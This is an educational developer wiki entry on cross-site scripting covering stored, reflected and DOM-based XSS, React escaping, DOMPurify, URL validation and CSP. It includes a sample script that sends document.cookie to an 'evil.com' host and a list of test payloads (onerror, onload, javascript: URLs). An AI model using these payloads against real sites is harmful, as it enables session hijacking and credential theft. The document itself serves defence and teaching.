XSS — Cross-site scripting
Status: 🟩 COMPLETE Last updated: 2026-06-19 Plain-English tagline: When attacker-controlled JavaScript runs in another user’s browser, in the context of your site. Classic attack, still extremely common, modern frameworks block most of it — but not all.
In plain English
Cross-Site Scripting (XSS) is when an attacker manages to inject JavaScript into your website and that script runs in another user’s browser. Once that happens, the attacker’s code is running with full access to:
- That user’s session cookies (if not HttpOnly)
- localStorage data
- The page’s contents
- The ability to make API calls as that user
- The ability to render fake UI (e.g. a fake login form to steal credentials)
Classic example: a comment field on your website doesn’t sanitize input. An attacker posts a comment containing <script>fetch('https://evil.com/steal', { method: 'POST', body: document.cookie })</script>. Every visitor who views the comment runs the script and ships their cookies to the attacker.
XSS is one of the oldest web vulnerabilities (named in the late 1990s) and remains one of the most common. The good news: modern React/Next.js prevents the most common XSS automatically — JSX escapes rendered text by default. The bad news: there are still escape hatches (dangerouslySetInnerHTML, third-party libs, URL parameters) where you can re-introduce it.
XSS is part of OWASP Top 10 under category A03 (Injection).
Why it matters
- Session hijacking. Stealing cookies = logging in as the victim.
- Credential theft. Fake login forms injected into legitimate pages.
- Data exfiltration. Reading anything the victim’s browser can see.
- Defacement. Modifying page content.
- Drive-by malware. Redirecting to malicious downloads.
- Pivot for further attacks. Use the user’s authenticated session to escalate.
XSS turns your site into an attack platform against your own users. Critical to prevent.
The three flavors of XSS
Stored (persistent) XSS
The malicious script is stored on the server (in a database, comment, profile field, etc.) and served to every viewer. Worst kind — affects all users automatically.
Example: comment system that renders raw HTML. Attacker posts a comment with <script> — every visitor runs it.
Reflected XSS
The script is part of the URL or form input and “reflected” back in the response without being stored. Requires the victim to follow a malicious link.
Example: search page that shows “You searched for {query}” without escaping. Attacker sends a link with ?q=<script>...</script> — anyone clicking the link runs it.
DOM-based XSS
JavaScript on the client takes user input from the URL or DOM and inserts it unsafely back into the page. The server may not even be involved.
Example: client-side router reads ?redirect= and sets window.location = ... without validation. Attacker supplies javascript:alert(1) as the redirect.
How modern frameworks prevent XSS
React / Next.js JSX
By default, JSX escapes any text it renders:
const userInput = "<script>alert(1)</script>";
return <div>{userInput}</div>;This renders the literal text <script>alert(1)</script> on the page — visible as characters, NOT executed. React converts <, >, &, ", ' to their HTML entity equivalents before insertion.
So {userInput} is XSS-safe by default. This is React’s most important security feature.
The escape hatch: dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userInput }} />This inserts the HTML directly without escaping. The name “dangerously” is deliberate — it’s literally telling you “this is a dangerous operation.”
Use only when you absolutely need to render HTML (e.g. rendering markdown after sanitizing it through a library like DOMPurify). NEVER use it with un-sanitized user input.
Template literals in HTML
<a href={`/profile/${userInput}`}>Profile</a>React escapes this safely too.
URLs as attribute values
Watch URL attributes specifically:
<a href={userInput}>Click</a>React escapes the string itself but doesn’t prevent javascript:alert(1) from being a “valid” URL. The result: a clickable link that runs JavaScript. Validate URLs to use only http/https/mailto schemes.
A concrete example: vulnerable vs safe
Vulnerable (old-style PHP or raw HTML rendering)
<p>Welcome, <?= $username ?>!</p>If $username is <script>steal()</script>, the script runs. Classic XSS.
Safe (React)
<p>Welcome, {username}!</p>If username is <script>steal()</script>, the page shows literal text <script>steal()</script> and nothing runs.
Vulnerable React (escape hatch)
<div dangerouslySetInnerHTML={{ __html: blogPost.content }} />If blogPost.content is user-supplied HTML, XSS. Need to sanitize first:
import DOMPurify from "isomorphic-dompurify";
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(blogPost.content) }} />Vulnerable URL
<a href={profile.website}>Visit website</a>If profile.website is javascript:steal(), clicking it runs the script. Sanitize:
function safeUrl(url: string): string {
if (!url) return "#";
if (/^https?:\/\//i.test(url) || /^mailto:/i.test(url)) return url;
return "#"; // strip dangerous schemes
}
<a href={safeUrl(profile.website)}>Visit website</a>Content Security Policy (CSP) — defense in depth
CSP is an HTTP header that tells the browser what scripts, styles, images, etc. are allowed to load. Even if XSS gets through your input handling, a strict CSP can prevent the malicious script from executing.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-randomhash'; object-src 'none'This says: only load resources from this origin; only run scripts from this origin OR with this specific nonce; no <object>/<embed> at all.
CSP requires care to get right — too strict breaks your site, too permissive does nothing. Next.js can be configured to set CSP headers via next.config.js or middleware.ts.
For new projects, start strict and add allowances as needed.
Where XSS still sneaks in (despite frameworks)
Even with React/Next.js, XSS can happen via:
dangerouslySetInnerHTMLwithout sanitization<a href>with unvalidated URLs (javascript:scheme)window.location = userInputin client codeeval()ornew Function()with user input (please don’t)- Third-party libraries that render HTML from user input
- CSS injection —
style={{ background: userInput }}withexpression(...)in old IE; less an issue today butstyleattributes with unvalidated CSS are still risky in edge cases - SVG uploads — SVGs can contain
<script>tags. Sanitize or render as<img>(which doesn’t execute scripts) - Markdown rendering — most markdown renderers allow HTML; sanitize before rendering
- Rich text editors — generate HTML; sanitize on save AND on render
- Server-side rendering — if your SSR concatenates user input into HTML strings without escaping, same vulnerability
Sanitizing HTML
When you need to render user-supplied HTML (rich text editors, markdown, etc.), use a proven sanitizer:
- DOMPurify (and
isomorphic-dompurifyfor Next.js) — the standard - sanitize-html — Node-friendly alternative
- Rehype — for markdown pipelines
import DOMPurify from "isomorphic-dompurify";
const clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ["p", "strong", "em", "a", "ul", "ol", "li"],
ALLOWED_ATTR: ["href"]
});Whitelist approach (allow only specific tags) is safer than blacklist (block specific tags).
XSS and your auth tokens
If you store JWTs or session tokens in localStorage, XSS = total session theft. The attacker JS reads localStorage.getItem('token') and ships it off.
If you store them in HttpOnly cookies, XSS can still cause damage (make requests as the user) but can’t steal the token itself.
Use HttpOnly cookies for auth. See Sessions & cookies, JWT.
Testing for XSS
- Browser DevTools — paste suspicious payloads into inputs; see what renders
- OWASP ZAP — automated scanner
- Burp Suite — manual testing
- Static analysis — ESLint’s
react/no-dangerwarns ondangerouslySetInnerHTML - Bug bounty programs — let researchers find what you missed
Test these payloads in inputs:
<script>alert(1)</script><img src=x onerror=alert(1)><svg onload=alert(1)>javascript:alert(1)(in URL fields)<a href="javascript:alert(1)">"><script>alert(1)</script>(breaking out of attributes)
If any of these fire alerts, you have XSS.
Common gotchas
-
Trusting
dangerouslySetInnerHTMLbecause “we control the input.” A 6-month-old assumption that no longer holds. Sanitize anyway. -
Forgetting URL scheme validation. React escapes the string but doesn’t prevent
javascript:. Validate schemes. -
Sanitizing on save but not on render. Old data in the DB may be unsanitized. Sanitize on every render too — defense in depth.
-
Sanitizing on render but not on save. Old data and config drift means future renderings might bypass sanitizer. Sanitize on save AND render.
-
Allowing
<script>in your “allowed tags” list. Doesn’t matter how careful you are — defeated. -
Allowing inline event handlers (
onload,onclick, etc.) in attributes. They run JavaScript. -
SVG uploads. SVGs are XML and can contain executable script. Sanitize or restrict.
-
Rendering markdown without sanitization. Most markdown libraries allow HTML by default. Configure to disable or sanitize output.
-
Reflected XSS in error pages. “Bad request: {query}” — if query echoes unescaped, you’ve got it.
-
Open redirects.
?redirect=parameter without validation lets attackers craft links that bounce through your trusted domain to attackers’ sites. Not strictly XSS but similar attack chain. -
postMessage handlers. A page listening to
window.addEventListener('message', ...)without validating the origin can be tricked by malicious iframes. -
innerHTML in DOM code. Avoid
element.innerHTML = userInput. UsetextContentor React state. -
Self-XSS / clickjacking via console. Modern browsers warn users about pasting code into console. Don’t rely on this.
-
Trusting “internal” tools. Internal admin tools are still XSS-vulnerable. Insider threats and compromised accounts are real.
-
Not setting CSP header. It’s defense in depth. Strict CSP is one of the most effective XSS mitigations available.
-
Not setting
X-Content-Type-Options: nosniff. Browsers may sniff content type and execute things as scripts that shouldn’t be. Add the header. -
Putting secrets in client-side state. API keys, tokens in code or in JS state are visible to anyone (and to any XSS). Server-side only.
-
Old browser support. Some XSS protections rely on modern browser features (CSP, SameSite cookies). Be aware of your user base.
-
Mixing static and user-content origins. Hosting user-uploaded HTML on the same origin as your app means an attacker can put arbitrary JS on your origin. Use separate origins.
See also
- OWASP top 10 🟩 🟦 — XSS is in category A03 (Injection)
- CSRF 🟩 — different attack, often confused
- SQL injection 🟩 — sibling injection attack
- Sessions & cookies 🟩 — HttpOnly mitigates session theft
- JWT 🟩 — token storage decisions
- Authentication vs authorization 🟩
- Passwords & hashing 🟩
- Secrets management 🟩
- Forms & validation 🟩 — validation is part of the defense
- HTML 🟩 — what attackers manipulate
- React 🟩 — escapes by default
- Next.js 🟩 🟦 — CSP via middleware
- The DOM 🟩
- Glossary: XSS
Sources
- OWASP — XSS
- OWASP — XSS Prevention Cheat Sheet
- MDN — Cross-site scripting
- DOMPurify — the recommended sanitizer
- MDN — Content Security Policy
- PortSwigger Web Security Academy — XSS — interactive labs